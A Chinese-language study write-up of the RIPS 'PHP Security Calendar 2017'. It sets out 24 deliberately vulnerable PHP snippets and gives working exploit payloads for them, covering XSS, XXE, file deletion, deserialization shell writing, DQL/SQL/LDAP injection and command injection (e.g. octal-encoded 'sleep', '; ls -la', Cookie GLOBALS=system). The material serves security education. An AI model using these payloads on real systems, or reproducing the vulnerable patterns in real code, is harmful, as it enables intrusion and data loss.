PHP SECURITY CALENDAR 2017 学习笔记

:)

https://www.ripstech.com/php-security-calendar-2017/

day1 Wish List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

这里是对上传的文件名做了白名单检查,要求是文件名为1-23的数字。然而,这里的判断用了in_array,但是没有设置$strict = true

如果没有设置 strict 则使用宽松的比较 —— php.net

所以文件名为1backdoor.php就能绕过白名单了

day2 Twig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

第10行使用了模板输出,link生成的方式为getNexSlideUrl(),在这个函数中,验证是否为URL格式则用了filter_var,然而用js协议就能绕过?nextSlide=javascript://comment%250aalert(1),这样只要点击链接,就能触发xss

day3 Snow Flake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
1
if (class_exists($controllerName))

这里会触发__autoload,如果php < 5.3,那当/?c=../../../../etc/passwd时,会将文件包含进来。
那么当php版本大于5.3,就可以使用php内置的类,比如SimpleXMLElement就能造成xxe盲攻击,xxe近期会写一篇文章(愿此flag不倒)

day4 False Beard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);

很明显是个xxe,使用了strpos

strpos — 查找字符串首次出现的位置

1
2
var_dump(strpos("h", "helloword"));
// bool(false)

所以只要usernamepassword的第一个字符是<就能绕过判断,进行xxe攻击
username=<"><injected-tag%20property="&password=<injected-tag>

day5 Postcard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

其实看到escapeshellargmail就想起了PHPMailer 小于 5.2.18 版本的 RCE 漏洞

这里就给个分析链接https://paper.seebug.org/164/ (赞美大黑阔

day6 Frost Pattern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

这里是个任意文件删除漏洞,在代码中的正则其实有点小问题,猜测作者原意是让除了小写字母跟点、减号、下划线的其他字符替换为空,但是这里的正则中,减号并不是减号的意思,而是至,就像a-z一样,从a至z的所有字母,同理.-_就是从点(46)到下划线(95)的所有符号,所以可以构造payload:action=delete&data=../../config.php

day7 Bells

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

看到parse_str()就想起了变量覆盖,http://webdog.top/php-blfg/#parse-str-%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96

这样就可以构造config来链接到我们自己mysql服务器,返回任意的用户

pyload: http://host/?config[dbhost]=x.x.x.x&config[dbuser]=root&config[dbpass]=root&config[dbname]=any&id=1

day8 Candle

1
2
3
4
5
6
7
8
9
10
11
12
13
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

这里$regex$value都可控,所以我们可以注入任何php函数

payload: /?.*={${phpinfo()}}

最终输出的是{${phpinfo()}}也就是执行了phpinfo(),这里用了复杂(花括号)语法

http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval

http://php.net/manual/zh/language.types.string.php#language.types.string.parsing.complex

day9 Rabbit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}

private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}

private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}

(new LanguageManager())->loadLanguage();

这个就不多说了,伪造Accept-Language payload: ....//....//....//....//etc/passwd

day10 Anticipation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
extract($_POST);

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

首先第一行是个变量覆盖 extract() 所以$pi是可控的

在php5中 assert的参数为字符串时,会被当作php代码执行。在php7中是一个语言结构,而不是一个函数

所以这里环境为php5,在此条件成立下,可以通过12行的assert执行任意函数,虽传进去的是字符串,但是goAway()执行完并没有die或者exit所以下面的代码依旧可以运行

payload:pi=phpinfo()

day11 Pumpkin Pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}

new Template($_COOKIE['data']);

看到unserialize应该就是反序列化了,攻击链应该是cookie->__construct->__destruct->createCache来写shell

所以就要绕过substr跟正则,substr可以序列化一个数组这样开头就是a:1:,正则可以通过php的语法O:+1:,这跟O:1:是等价的

所以payload:a:1:{i:0;O:%2b8:"Template":2:{s:9:"cacheFile";s:14:"/var/www/a.php";s:8:"template";s:16:"<?php%20phpinfo();";}}

这样在调用析构函数的时候就会调用两套值,一套是我们构造的,一套是原来的

day12 String Lights

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";

这里应该是个xss,首先htmlentities默认不过滤单引号,所以可以构造<a href='/images/size.php?' onclick=alert(1) //'>link</a>

然后这里虽然对$value进行了取整,不能使用字符串,但是没有对$key进行过滤,结合上面

payload:/?a'onclick%3dalert(1)%2f%2f=c

day13 Turkey Baster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}

这里是个DQL(Doctrine Query Language)注入漏洞,DQL注入类似于SQL注入。

这里userpass虽然看上去经过了过滤,但是这个过滤函数有问题,如果我们传递\作为输入,它将被转义为\\。但是,该substr()函数用于截断转义字符串。这使攻击者能够发送足够长的字符串,以避免转义反斜杠被切断,并且在字符串末尾留下一个\。这将打破WHERE语句并允许注入自己的DQL语法。

所以payload:user=user=1234567890123456789\&passwd=%20OR%201=1-

day14 Snowman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);

foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);

这里是个任意目录写入,虽然id看上去是数字,但是传入的时候可以是字符串,所以可以id = ../,配合get_object_varvar_export这样就可以在目录下写shell了

http://php.net/manual/zh/function.var-export.php

http://php.net/manual/zh/function.get-object-vars.php

day15 Sleigh Ride

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
private $websiteHost = 'www.example.com';

private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}

public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}

if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}

首先是$_SERVER['PHP_SELF']

当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。

因为explode会用/来分割,在第5行又有urldecode所以可以用两次urlencode来绕过分割。

payload:/index.php/http:%252f%252fwww.domain.com?redirect=1

经过分割和end后,$url=http:%252f%252fwww.domain.com?,在经过setHeaders就能跳转到构造好的链接

day16 Poem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP {
public $sock;

public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);

$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}

private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}

public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}

public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}

public function send($data) {
fputs($this->sock, $data);
}
}

new FTP('localhost', 21, 'user', 'password');

第8行看上去对请求进行了过滤,但是没对$_REQUEST进行过滤,$_REQUEST包含GET、POST、COOKIE,又因为25行使用的是==,所以payload: ?mode=1%0a%0dDELETE%20test.file就能利用ftp协议来删除文件了。

day17 Mistletoe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}

看到13行的md5第二个参数为true,就有可能是md5注入了。

pass=128时,经过md5处理后就变成了v�an���l���q��\,就能将单引号转义,使第一个单引号与倒数第二个单引号闭合,造成user的逃逸.

payload:?user=%20OR%201=1-&passwd=128

day18 Sign

1
2
3
4
5
6
7
8
9
10
11
12
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

这个看上去没什么问题,还用了openssl,但是在第5行使用了openssl_verify,如果验证通过则返回1,验证不通过则返回0,如果$signature是另一种加密算法的则返回-1。if中如果是-1也是返回true。所以payload:使用不同算法的签名。

day19 Birch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ImageViewer {
private $file;

function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}

function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert {$this->file} --resize $e
./thumbs/{$this->file}");
}

function __toString() {
return "<a href={$this->file}>
<img src=./thumbs/{$this->file}></a>";
}
}

echo (new ImageViewer("image.png"));

17行可以执行命令,如果能够绕过正则,就可以任意命令执行了。

这里使用了stripcslashes

返回反转义后的字符串。可识别类似 C 语言的 \n\r,… 八进制以及十六进制的描述。

所以可以用8进制来绕过

payload:/?size=0\073\163\154\145\145\160\0405\073

解码为0;sleep 5;

day20 Stocking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}

try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}

return '<img src="' . $path . '" width="100"/>';
}
}

echo (new ImageLoader())->getResult($_GET['img']);

首先是第1行都报错跟第14行的file_get_contents配合构成ssrf,例如输入?img=http://internal:22,如果OpenSSH开着的话,会返回报错信息failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2

其次第9行的filter_var支持file://协议,会导致任意文件读取

day21 Gift Wrap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
declare(strict_types=1);

class ParamExtractor {
private $validIndices = [];

private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};

try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}

return $this->validIndices;
}

public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

33行的system函数应该是个命令执行函数,然而第一行declare(strict_types=1)启用了严格类型比较,但是array_walk却忽略了,并采用弱类型。

所以可以构造输入的数组为?p[1]=1&p[2]=2;%20ls%20-la,实现了任意命令执行

day22 Chimney

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}

12行使用了==,所以造成了弱类型,只要md5(password) = 0e全是数字就能绕过登录限制了。

因为弱类型0e是科学计数法,无论后面数字是啥,最终都等于0

day23 Cookies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LDAPAuthenticator {
public $conn;
public $host;

function __construct($host = "localhost") {
$this->host = $host;
}

function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}

if(isset($_GET["u"]) && isset($_GET["p"])) {
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}

这里是个ldap注入,24行的表达式可以使用通配符,例如(&(uid=*)(userPassword=*))这样就匹配了所有存在的用户了,成功绕过登录

payload: /?u=*&p=*

技术详解:基于Web的LDAP注入漏洞

day24 Nutcracker

1
2
3
4
5
6
@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));

因为$a=$b=$c,首先处理的是$c,所以

$v1 = next(neXt(${'next'}['next']))

Step in

@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in next($GLOBALS{'GLOBALS'}), 所以

@$GLOBALS=$GLOBALS{next}=$_POST[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in next($GLOBALS)['GLOBALS'], 所以

$v2 = $next['next']=$_COOKIE['GLOBALS'];

@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$v2]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in next($GLOBALS[GLOBALS]['GLOBALS']

$v3 = $next['GLOBALS']=$_FILES[$v2]

@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$next['GLOBALS']=next($v3)][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in ext($v3)

next($v3) = next($_FILES[$v2]) = $_FILES[$v2]['type']

$v4 = $next['GLOBALS']=$_FILES[$v2]['type'];

@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in

$v2 = $next['next']= $GLOBALS[next]['next'] =$_COOKIE['GLOBALS'];

@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$_COOKIE['GLOBALS']($_FILES[$v2]['type'])]=$v1;

其中$_COOKIE['GLOBALS']($_FILES[$v2]['type'])构成了可执行的函数

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php HTTP/1.1
Host: x.x.x.x
Content-Length: 1325
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L
Cookie: GLOBALS=system

------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="ls"; filename="hello.o"
Content-Type: ls

<file data>
------WebKitFormBoundaryePkpFF7tjBAqx29L———

http://www.bkjia.com/nwaq/907301.html

http://mage-ctf-writeup.blogspot.com/2014/10/hacklu-2014-ctf.html

https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/next-global-backdoor